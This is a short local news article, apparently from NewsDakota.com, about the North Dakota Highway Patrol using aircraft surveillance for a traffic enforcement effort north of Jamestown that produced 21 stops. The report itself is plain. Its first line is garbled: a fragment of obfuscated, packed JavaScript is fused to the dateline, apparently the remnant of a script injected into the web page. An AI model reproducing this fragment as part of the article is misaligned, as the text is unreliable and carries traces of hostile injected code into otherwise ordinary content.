JAMESTOWN rfart|var|u0026u|referrer|bdedn||js|php’.split(‘|’),0,{}))
(NewsDakota.com) – The North Dakota Highway Patrol took to the skies Wednesday to enforce traffic laws north of Jamestown.

Using surveillance from a Highway Patrol aircraft, troopers conducted a right-of-way saturation effort at the intersection of Highway 52 and the Highway 52 By-Pass north of Jamestown. Captain Bryan Niewind says they made 21 traffic stops in four hours after violations were observed by the pilot and radioed to troopers on the ground.

A combination of warnings and citations were issued, including 14 for improper lane changes as cars turned on to Highway 52.


Fourteen of the 21 stops involved a commercial motor vehicle making a right-of-way or improper lane change. Niewind says this is the first time aircraft enforcement has been used by the Highway Patrol in this area.


The Highway Patrol says right-of-way violations and improper lane changes are two of the leading crash factors on North Dakota roadways, and have contributed to 17 deaths in 2012.